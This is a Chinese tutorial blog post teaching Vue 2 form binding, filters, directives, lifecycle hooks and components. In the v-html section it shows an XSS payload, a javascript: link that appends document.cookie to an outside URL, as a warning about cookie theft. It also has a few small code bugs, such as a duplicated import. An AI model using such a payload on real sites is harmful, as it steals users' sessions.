IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> JavaScript知识库 -> Vue2学习day03—收集表单数据&过滤器&内置指令&自定义指令&Vue生命周期&非单文件组件&单文件组件 -> 正文阅读

[JavaScript知识库]Vue2学习day03—收集表单数据&过滤器&内置指令&自定义指令&Vue生命周期&非单文件组件&单文件组件

Vue2学习day03

收集表单数据

收集表单数据:

  • <input type="text"/>,则v-model收集的是value值,用户输入的就是value值
  • <input type="radio" />,则v-model 收集的是value值,且要给标签配置 h b value值
  • <input type="checkbox" />
    • 没有配置inputvalue属性,那么收集的就是checked(勾选与否,布尔值)
    • 配置inputvalue属性:
      • v-model的初始值是非数组,那么收集的就是checked
      • v-model的初始值是数组,那么收集的就是value组成的数组
    • v-model的三个修饰符:
      • lazy:失去焦点再收集数据
      • number:输入字符串转为有效的数字
      • trim:输入首尾空格过滤
<div id="root">
    <form @submit.prevent="demo">
        账号:<input type="text" v-model.trim="account"><br><br>
        密码:<input type="password" v-model="password"><br><br>
        <!-- 输入的只能是数字,但是其绑定之后还是字符串会加引号,并将字符串转为数
            字 -->
        年龄: <input type="number" v-model.number="age"><br><br>
        性别:
        男<input type="radio" name="sex" value="male" v-model="sex"><input type="radio" name="sex" value="female" v-model="sex"><br><br>
        爱好:
        敲代码<input type="checkbox" v-model="hobby" value="code">
        游戏<input type="checkbox" v-model="hobby" value="game">
        综艺<input type="checkbox" v-model="hobby" value="zongyi"><br><br>
        城市:
        <select name="city" id="city" v-model="city">
            <option value="">请选择城市</option>
            <option value="beijing">北京</option>
            <option value="hangzhou">杭州</option>
            <option value="qingdao">青岛</option>
            <option value="jinan">济南</option>
        </select><br><br>
        其他信息
        <textarea v-model.lazy="other"></textarea><br><br>
        <input type="checkbox" v-model="agree">阅读并接受<a href="http://wwww.baidu.com">《用户协议》</a>
        <button>提交</button>
    </form>

</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
        el: '#root',
        data: {
            account:'',
            password:'',
            sex:'female',
            age:18,
            hobby:[],
            city:'beijing',
            other:'',
            agree:''

        },
        methods: {
            demo(){         
   				console.log(JSON.stringify(this._data))
            }
        },
    })
</script>

上述在输出信息到控制台时,直接将vm._data转为JSON输出,虽然这样做没有任何问题,但是我们 一般不直接操作vm._data1,可以封装为一个userInfo对象,而后将该userInfo对象转为json字符串输出到控制台

userInfo{
	account:'',
	password:'',
	sex:'female',
	age:18,
	hobby:[],
	city:'beijing',
	other:'',
	agree:''
}	

过滤器

过滤器:

  • 定义:对要显示的数据进行特性格式化后再显示(适用于一些简单逻辑的处理)
  • 语法:
    • 1、注册过滤器:Vue.filter(name,callback) 或 new Vue(filters:{}}
    • 2、使用过滤器:{{xxx | 过滤器名}} 或 v-bind:属性=“xxx | 过滤器名”
  • 备注:
    • 1、过滤器也可以接收额外参数、多个过滤器也可以串联
    • 2、并没有改变原来的数据,是产生新的对应的数据

以下案例用到第三方包dayjs实现date的格式转换,可去BootCDN下载使用,使用时记得引入


<div id="root">
    <h2>显示格式化后的时间</h2>
    <!-- 计算属性实现 -->
    <h2>现在是:{{fmtTime}}</h2>
    <!-- methods实现 -->
    <h2>现在是:{{getFmtTime()}}</h2>
    <!-- 过滤器实现 -->
    <h2>现在是:{{time | timeFormater}}</h2>
    <!-- 过滤器实现(传参) -->
    <h2>现在是:{{time | timeFormater('YYYY年MM月DD日 HH:mm:ss')}}</h2>
    <!-- 过滤器实现(传参) -->
    <h2>现在是:{{time | timeFormater('YYYY年MM月DD日') | mySplice}}</h2>
    <h2 :x="msg | mySlice">vue</h2>
</div>
<div id="root2">

</div>

<script type="text/javascript">
    Vue.config.productionTip = false
    // 全局过滤器
    // 要定义在new Vue之前
    Vue.filter('mySlice',function(value){
        return value.slice(0,4)
    })

    new Vue({
        el: '#root',
        data: {
            time:1646795441161,
            msg:"Vue学习"
        },
        computed:{
            fmtTime(){
                return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
            }
        },
        methods: {
           getFmtTime(){
                return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
           } 
        },
        filters:{
            // 局部过滤器
            timeFormater(value, str='YYYY-MM-DD HH:mm:ss'){
                return dayjs(value).format(str)
            }
        }
    })

    new Vue({
        el: '#root2',
        data: {
            time:1646796238896
        }
    })
</script>

内置指令

内置指令即Vue提供我们直接使用的指令,

  • 前面已经学习过:
    • v-bind: 单向绑定解析表达式,可简写为xxx
    • v-model: 双向数据绑定
    • v-for: 遍历数组/对象/字符串
    • v-on: 绑定事件监听,可简写为@
    • v-if: 条件渲染(动态控制节点是否存在)
    • v-else: 条件渲染(动态控制节点是否存在)
    • v-show: 条件渲染(动态控制节点是否展示)

接下来我们来学习下Vue其他常见的内置指令

v-text指令:

  • 作用:向其所在节点中渲染文本内容
  • 与插值语法的区别:v-text会替换掉节点中的内容,{{xxx}}则不会
    <div id="root">
        <div>{{name}}</div>
        <!-- 替换标签体中的全部内容,不会解析标签 -->
        <div v-text="str"></div>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el: '#root',
            data: {
                name:'Vue',
                str:'<h2>敲代码</h2>'
            }
        })
    </script>

v-html指令

v-html指令是与v-text非常相像的一个内置指令,但是其可以解析html标签
v-html指令:

  • 作用:向制定节点中渲染包含html结构的内容
  • 与插值语法的区别:
    • v-html会替换掉节点中所有的内容,{{xx}}则不会
    • v-html可以识别html结构
  • 严重注意:v-html有安全性问题
    • 在网站上动态渲染任意html是非常危险的,容易导致xss攻击
    • 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上
<div id="root">
        <div>{{name}}</div>
        <div v-text="str"></div>
        <!-- 支持结构的解析 -->
        <div v-html="str"></div>
        <!-- 可能会导致安全问题 -->
        <div v-html="str2"></div>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el: '#root',
            data: {
                name:'Vue',
                str:'<h2>敲代码</h2>',
                str2:' <a href=javascript:location.href="http://www.baidu.com?"+document.cookie>资源</a>'
            }
        })
    </script>

以上代码点击链接跳转是可以盗取用户cookies是十分危险的
在这里插入图片描述
在这里插入图片描述

v-cloak指令(没有值)

v-cloak指令(没有值)

  • 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
  • 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题
    使用css批量操作带有v-cloak属性的标签,以达到其在Vue实例创建完毕后在进行展示
<style>
    /* 选中所有带v-cloak的标签 */
    [v-cloak]{
        display: none;
    }
</style>
<div id="root">
    <h2 v-cloak>{{name}}</h2>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
        el: '#root',
        data: {
            name:'Vue',
        }
    })
</script>

v-once指令(没有值)

v-once指令(没有值):

  • v-once所在节点在初次动态渲染后,就视为静态内容了
  • 以后数据的改变不会引起v-once所在结构的更新,可以用户优化性能
<div id="root">
    <h2 v-once>初始化的n值为:{{n}}</h2>
   <h2>当前n的值为:{{n}}</h2>
   <button @click="n++">点我n++</button>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
        el: '#root',
        data: {
            n:1,
        }
    })
</script>

v-pre指令(没有值)

v-pre指令(没有值)

  • 跳过其所在节点的编译过程
  • 可利用它跳过:没有使用指令语法,没有使用插值语法的节点,会加快编译
<div id="root">
    <h2 v-pre>初始化的n值为:{{n}}</h2>
   <h2>当前n的值为:{{n}}</h2>
   <button @click="n++">点我n++</button>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
        el: '#root',
        data: {
            n:1,
        }
    })
</script>

自定义指令

自定义指令:

  • 定义语法:

    • 局部指令:

      new Vue({
           directives:(指令名:配置对象) 
      })
      

     	new Vue({
              directives(指令名:回调函数)
        })
    
    • 全局指令:
      Vue.directive(指令名,配置对象)Vue.directive(指令名,回调函数)
  • 配置对象中常用的3个回调:

    • bind:指令与元素绑定时调用
    • inserted:指令所在元素被插入页面时调用
    • update:指令所在模板结构被重新解析时调用
  • 自定义指令函数式何时会被调用?

    • 1、指令与元素成功绑定是(一上来初始化)
    • 2、指令所在的模板被重新解析时
  • 备注:

    • 指令定义时不加v-,但是使用时要加v-
    • 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名
<!-- 
     需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍
     需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点 
 -->
<div id="root">
    <h2>{{name}}</h2>
    <h2>当前的n值是{{n}}</h2>
    <h2>放大十倍后的n值为: <span v-big="n"></span> </h2>
    <!-- 单词之间用'-'分隔 -->
    <h2>放大十倍后的n值为: <span v-big-number="n"></span> </h2>
    <button @click="n++">点我n+1</button>
    <hr />
    <input type="text" v-fbind:value="n">
</div>

<script type="text/javascript">
    Vue.config.productionTip = false
    // 定义全局指令
    /*Vue.directive('fbind',{
        // 指令与元素成功绑定时
        bind(element,binding){
            element.value = binding.value
            console.log('bind')
        },
        // 指定所在元素被插入页面时
        inserted(){
            element.focus()
            console.log('inserted')
        },
        // 指令所在模板被重新解析时
        update(){
            element.value = binding.value
            console.log('update')
        }
    })*/
    /*
    Vue.directive('big',function(element,binding){
        element.innerText = binding.value * 10
        console.log(element,binding.value)
    })*/
    new Vue({
        el: '#root',
        data: {
            name:'Vue',
            n:1
        },
        directives:{
            // 相对来说写起来麻烦,但是可以处理细节
            /*big:{
                k:v
            }*/

            // element真真实实的DOM元素
            // big函数何时会被调用?1、指令与元素成功绑定是(一上来初始化)2、指令所在的模板被重新解析时
            big(element,binding){
                element.innerText = binding.value * 10
                console.log(element,binding.value,this) // 注意:此处的this是window
            },
            'big-number'(element,binding){
                element.innerText = binding.value * 10
                console.log(element,binding.value)
            },
            /*fbind(element,binding){
                element.value = binding.value
                element.focus()
            }*/
            fbind:{
                // 指令与元素成功绑定时
                bind(element,binding){
                    element.value = binding.value
                    console.log('bind')
                },
                // 指定所在元素被插入页面时
                inserted(element,binding){
                    element.focus()
                    console.log('inserted')
                },
                // 指令所在模板被重新解析时
                update(element,binding){
                    element.value = binding.value
                    console.log('update')
                }
            }
        }
    })
</script>

Vue生命周期

引出生命周期

生命周期:

  • 又名:生命周期回调函数、生命周期函数、生命周期钩子
  • 是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数
  • 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
  • 生命周期函数中的this指向是vm或组件实例对象
<div id="root">
    <!-- 第一个opacity为css属性,第二个opacity为数据的名 -->
    <h2 :style="{opacity: opacity}">Vue学习</h2>
    <!-- 对象的简写形式 -->
    <h2 :style="{opacity}">Vue学习</h2>
    <!-- {{change()}} -->
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    const vm = new Vue({
        el: '#root',
        data: {
            opacity:1
        },
        methods: {
            /*change(){
                setInterval(()=>{
                    this.opacity -= 0.01
                    if(this.opacity<=0){
                        this.opacity = 1
                    }
                },16)
            }*/
        },
        //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
        mounted(){
            setInterval(()=>{
                this.opacity -= 0.01
                if(this.opacity<=0){
                    this.opacity = 1
                }
            },16)
        }
    })

    // 通过外部的定时器实现
    /*setInterval(()=>{
        vm.opacity -= 0.01
        if(vm.opacity<=0){
            vm.opacity = 1
        }
    },16)*/
</script>

分析生命周期

请添加图片描述

<div id="root">
    <h2>当前的n值是:{{n}}</h2>
    <button @click="add">点我n+1</button>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    const vm = new Vue({
        el: '#root',
        // 整个root都被替掉
        // template:`
        //     <div>
        //         <h2>当前的n值是:{{n}}</h2>
        //         <button @click="add">点我n+1</button>
        //     </div>`,
        data: {
           n:1
        },
        methods: {
            add(){
                this.n++
            }
        },
        beforeCreate() {
            console.log('beforeCreate')
        },
        created() {
            console.log('Create')
        },
        beforeMount() {
            console.log('beforeMount')
            // debugger
        },
        mounted() {
            console.log('mounted')
        },
        beforeUpdate() {
            console.log('beforeUpdata')
        },
        updated() {
            console.log('updated')
        },
        beforeDestroy() {
            console.log('beforeDestroy')
        },
        destroyed() {
            console.log('destroyed')
        },
        
    })
</script>

总结生命周期

  • 常用的生命周期钩子:
    • mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】
    • beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】
  • 关于销毁Vue实例
    • 销毁后借助Vue开发者工具看不到任何信息
    • 销毁后自定义事件会失效,但是DOM事件依然有效
    • 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程
<div id="root">
    <h2 :style="{opacity}">Vue学习</h2>
    <button @click="stop">点我停止变换</button>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    const vm = new Vue({
        el: '#root',
        data: {
            opacity:1
        },
        methods: {
            stop(){
                // 温柔的停
                // clearInterval(this.timer)
                
                this.$destory()
            }
        },
        //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
        mounted(){
            this.timer = setInterval(()=>{
                this.opacity -= 0.01
                if(this.opacity<=0){
                    this.opacity = 1
                }
            },16)
        },
        beforeDestroy() {
            clearInterval(this.timer)
        },
    })
</script>

非单文件组件

为什么要使用组件?下图为尚硅谷老师关于组件优点的讲解图
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
组件:

  • 实现应用中局部功能代码和资源的集合,复用编码,简化编码,提高运行效率

基本使用

  • Vue中使用组建的三大步骤:
    • 一、定义组件(创建组件)
    • 二、注册组件
    • 三、使用组件(写组件标签)
    • 如何定义一个组件?
      • 使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有区别
      • 区别如下:
        • el不要写,为什么?——最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器
        • data必须写成函数,为什么?——避免组件被复用时,数据存在引用关系,一个改变其他的跟着变
        • 备注:使用template可以配置组件结构
    • 如何注册组件?
      • 局部注册:靠new Vue的时候传入components选项
      • 全局注册:靠Vue.component(‘组件名’,组件)
    • 编写组件标签
      • 如:
<div id="root">
    <h1>{{msg}}</h1>
    <!-- 第三步,编写组件标签 -->
    <school></school>
    <hr>
    <!-- 第三步,编写组件标签 -->
    <xuesheng></xuesheng>
    <hello></hello>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false
    // 创建组件、注册组件、使用

    // 第一步:创建school组件
    const school = Vue.extend({
        template:`
            <div>
                <h2>学校名称:{{schoolName}}</h2>
                <h2>学校地址:{{address}}</h2>
                <button @click="showName">点我提示学校名</button>
            </div>
        `,
        // el: '#root', //组件定义时一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器
        data() {
            return {
                schoolName:'曲师',
                address:'曲阜'
            }
        },
        methods: {
            showName(){
                alert(this.schoolName)
            }
        },    
    })
    
    // 第一步:创建student组件
    const student = Vue.extend({
        template:`
            <div>
                <h2>学生姓名:{{studentName}}</h2>
                <h2>学生年龄:{{age}}</h2>
            </div>
        `,
        
        // el: '#root', //组件定义时一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器
        data() {
            return {
                studentName:'张三',
                age:'20'
            }
        }    
    })
    
    // 第一步:创建hello组件
    const hello = Vue.extend({
        template:`
            <div>
                <h2>你好呀{{name}}</h2>
            </div>    
        `,
        data(){
            return{
                name:'Vue'
            }
        }
    })
    
    // 第二步:全局注册组件
    Vue.component('hello',hello)

    // 创建vm
    new Vue({
        el: '#root',
        // 第二步:注册组件(局部注册)
        data:{
            msg:'你好呀'
        },
        components:{
            // key最终决定组件名
            // school:school,
            // 简写
            school,
            xuesheng:student
        }
    })
</script>

几个注意点

几个注意点:

  • 关于组件名:
    • 一个单词组成:
      • 第一种写法(首字母小写):school
      • 第二种写法(首字母大写):School
    • 多个单词组成:
      • 第一种写法(kebab-case命名):my-school
      • 第二种写法(CamelCase命名):MySchool(需要Vue脚手架支持)
    • 备注:
      • 组件名尽可能回避html中已有的元素名称
      • 可以使用name配置指定组件在开发者工具中呈现的名字
  • 关于组件标签:
    • 第一种写法:
    • 第二种写法: 但是不使用脚手架时,该写法会导致后续组件不能渲染
  • 一个简写方式:
    • const school = Vue.extend(options)可以简写为:const school = options
<div id="root">
    <h1>{{msg}}</h1>
    <!-- 第三步,编写组件标签 -->
    <School></School>
    <my-school></my-school>
    <hr>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false
    // 创建组件、注册组件、使用

    // 第一步:创建school组件
    const school = Vue.extend({
        name:'hhh',// 在开发者工具中呈现的名字
        template:`
            <div>
                <h2>学校名称:{{schoolName}}</h2>
                <h2>学校地址:{{address}}</h2>
            </div>
        `,
        // el: '#root', //组件定义时一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器
        data() {
            return {
                schoolName:'曲师',
                address:'曲阜'
            }
        },   
    })

    const school2 = {
        name:'hhh',// 在开发者工具中呈现的名字
        template:`
            <div>
                <h2>学校名称:{{schoolName}}</h2>
                <h2>学校地址:{{address}}</h2>
            </div>
        `,
        // el: '#root', //组件定义时一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器
        data() { 
            return {
                schoolName:'曲师',
                address:'曲阜'
            }
        },   
    }

    // 创建vm
    new Vue({
        el: '#root',
        // 第二步:注册组件(局部注册)
        data:{
            msg:'你好呀'
        },
        components:{
            // key最终决定组件名
            // school1:school,
            // 简写
            School:school,
            'my-school':school
            // 推荐使用,但是有使用前提:在脚手架环境下
            // MySchool:school
        }
    })
</script>

组件的嵌套

<div id="root">
    <!-- 第三步,编写组件标签 -->
    <app></app>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false
    // 创建组件、注册组件、使用

    // 第一步:创建student组件
    const student = Vue.extend({
        template:`
            <div>
                <h2>学生姓名:{{studentName}}</h2>
                <h2>学生年龄:{{age}}</h2>
            </div>
        `,
        // el: '#root', //组件定义时一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器
        data() {
            return {
                studentName:'张三',
                age:20
            }
        },   
    })
    
    // 第一步:创建school组件
    const school = Vue.extend({
        template:`
            <div>
                <h2>学校名称:{{schoolName}}</h2>
                <h2>学校地址:{{address}}</h2>
                <student></student>
            </div>
        `,
        // el: '#root', //组件定义时一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器
        data() {
            return {
                schoolName:'曲师',
                address:'曲阜'
            }
        },
        components:{
            student
        }   
    })

     // 第一步:创建hello组件
     const hello = Vue.extend({
        template:`
            <h1>{{msg}}</h1>
        `,
        // el: '#root', //组件定义时一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器
        data() {
            return {
                msg:'Vue学习之组件的嵌套'
            }
        }  
    })

    // 定义app组件
    const app = Vue.extend({
        template:`
            <div>
                <hello></hello>
                <school></school>
            </div>    
        `,
        components:{
            school,
            hello
        }
    })

    // 创建vm
    new Vue({
        //template:'<app></app>',
        el: '#root',
        // 第二步:注册组件(局部注册)
        components:{
            app
        }
    })
</script>

VueComponent

关于VueComponent:

  • school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的
  • 我们只需要写<school/><school></school>,Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的:new VueComponent(options)
  • 特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent
  • 关于this指向:
    • 组件配置中
      • data函数、methods中的函数、watch中的函数、computed中的函数,它们的this指向均是【VueComponent实例对象】
    • new Vue()配置中
      • data函数、methods中的函数、watch中的函数、computed中的函数,它们的this指向均是【Vue实例对象】
    • VueComponent的实例对象,以后在博客中简称vc(也可以称之为:组件实例对象)
    • Vue的实例对象,以后简称vm
<div id="root">
    <!-- 第三步,编写组件标签 -->
    <school></school>
    <hello></hello>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false
    // 第一步:创建school组件
    const school = Vue.extend({
        template:`
            <div>
                <h2>学校名称:{{schoolName}}</h2>
                <h2>学校地址:{{address}}</h2>
                <button @click="showName()">点我展示学校名称</button>
            </div>
        `,
        // el: '#root', //组件定义时一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器
        data() {
            return {
                schoolName:'曲师',
                address:'曲阜'
            }
        },
        methods: {
            showName(){
                console.log('showName',this)
            }
        },  
    })

     // 第一步:创建hello组件
     const hello = Vue.extend({
        template:`
            <h1>{{msg}}</h1>
        `,
        // el: '#root', //组件定义时一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器
        data() {
            return {
                msg:'Vue学习之组件的嵌套'
            }
        }  
    })

    console.log('@',school)
    console.log('#',hello)
    
    console.log('@',school==hello)

    // 创建vm
    new Vue({
        el: '#root',
        // 第二步:注册组件(局部注册)
        components:{
            school,
            hello
        }
    })
</script>

一个重要的内置关系

  • 一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype
  • 为什么要有这个关系:让组件实例对象(vc)可以访问到Vue原型上的属性、方法
// 定义一个构造函数
// 实例的隐式原型属性永远指向自己缔造者的
function Demo(){
    this.a = 1
    this.b = 2
}

// 创建一个Demo的实例对象
const d = new Demo()

console.log(Demo.prototype) // 显示原型属性

console.log(d.__proto__) // 隐式原型属性

console.log(Demo.prototype==d.__proto__)
// 程序员通过显示原型属性操作原型对象,追加一个x属性,值为99
Demo.prototype.x = 99

console.log('@',d)
```![在这里插入图片描述](https://img-blog.csdnimg.cn/3ef19f251a9747598ce3547c18ab1682.png)

```html
<div id="root">
    <!-- 第三步,编写组件标签 -->
    <school></school>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false
    Vue.prototype.x = 99

    // 第一步:创建school组件
    const school = Vue.extend({
        template:`
            <div>
                <h2>学校名称:{{schoolName}}</h2>
                <h2>学校地址:{{address}}</h2>
                <button @click="showX()">点我输出x</button>
            </div>
        `,
        // el: '#root', //组件定义时一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器
        data() {
            return {
                schoolName:'曲师',
                address:'曲阜'
            }
        },
        methods: {
            showX(){
                console.log('x',this.x)
            }
        },  
    })

    // 创建vm
    new Vue({
        el: '#root',
        // 第二步:注册组件(局部注册)
        components:{
            school
        }
    })
    console.log(school.prototype.__proto__ === Vue.prototype)
</script>

单文件组件

关于为什么要使用单文件组件,以下为官网给出的解释

	在很多 Vue 项目中,我们使用 Vue.component 定义全局组件,紧接着用new Vue({el: '#container'}) 
在每个页面内指定一个容器元素。

	这种方式在很多中小规模的项目中运作的很好,在这些项目里 JavaScript 只被用来加强特定的视图。
但当在更复杂的项目中,或者你的前端完全由 JavaScript 驱动的时候,下面这些缺点将变得非常明显:

	全局定义 (Global definitions) 强制要求每个 component 中的命名不得重复
	字符串模板 (String templates) 缺乏语法高亮,在 HTML 有多行的时候,需要用到丑陋的 \
	不支持 CSS (No CSS support) 意味着当 HTML 和 JavaScript 组件化时,CSS 明显被遗漏
	没有构建步骤 (No build step) 限制只能使用 HTML 和 ES5 JavaScript,而不能使用预处理器,
	如 Pug (formerly Jade) 和 Babel
	
	文件扩展名为 .vue 的 single-file components (单文件组件) 为以上所有问题提供了解决方法,
	并且还可以使用 webpack 或 Browserify 等构建工具。

xxx.vue 直接交给浏览器是不能运行的,等经过处理加工成js文件,可通过webpack或者Vue提供的脚手架,给xxx.Vue起名时的规则:school.vue School.Vue my-school.vue MySchool.vue
下面单文件组件案例我们在上述非单文件组件案例的基础上进行改造
首先先创建School组件和Student组件
School.vue

<template>
    <!-- 组件的结构 -->
    <div class="demo">
        <h2>学校名称:{{name}}</h2>
        <h2>学校地址:{{address}}</h2>
        <button @click="showName">点我提示学校名</button>
    </div>   
</template>

<script>
// 组件交互相关的代码
    // 第一种暴露,分别暴露
    //export const school = Vue.extend({...})

    //默认暴露
    // export default Vue.extend({..})
    // Vue.extend()可省
    export default {
        name:'School',
        data() {
            return {
                name:'曲师',
                address:'曲阜'
            }
        },
        methods: {
            showName(){
                alert(this.name)
            }
        },    
    }
    // 统一暴露
    //export {school} 引入import {xxx} from xxx
    // 默认暴露 一般使用该方式 引入简单 import xxx from xxx
    //export default school
</script>

<style>
/* 组件的样式 */
    .demo{
        background-color: orange;
    }
</style>

Student.vue

<template>
    <!-- 组件的结构 -->
    <div>
        <h2>学生姓名:{{name}}</h2>
        <h2>学生年龄:{{age}}</h2>
    </div>
   
</template>

<script>
    export default {
        name:'School',
        data() {
            return {
                name:'张三',
                age:'20'
            }
        },
    }
</script>

App.vue

<template>
  <div>
       <School></School>
       <Student/>
  </div>
</template>

<script>
    // 引入组件
    import School from './School.vue'
    import School from './Student.vue'
    export default {
        name:'App',
        components:{
            School,
            Student
        }
    }
</script>

main,js

import App from './App.vue'
new Vue({
    el:'#root',
    template:`<App></App>`,
    components:{
        App
    }
})

index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>单文件组件语法练习</title>
</head>
<body>
    <!-- 准备好一个容器 -->
    <div id="root"></div>
    <script type="text/javascript" src="../js/vue.js"></script>
    <script type="text/javascript" src="./main.js"></script>

</body>
</html>
  JavaScript知识库 最新文章
ES6的相关知识点
react 函数式组件 & react其他一些总结
Vue基础超详细
前端JS也可以连点成线(Vue中运用 AntVG6)
Vue事件处理的基本使用
Vue后台项目的记录 (一)
前后端分离vue跨域,devServer配置proxy代理
TypeScript
初识vuex
vue项目安装包指令收集
上一篇文章      下一篇文章      查看所有文章
加:2022-03-13 21:41:13  更:2022-03-13 21:42:07 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 6:21:57-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码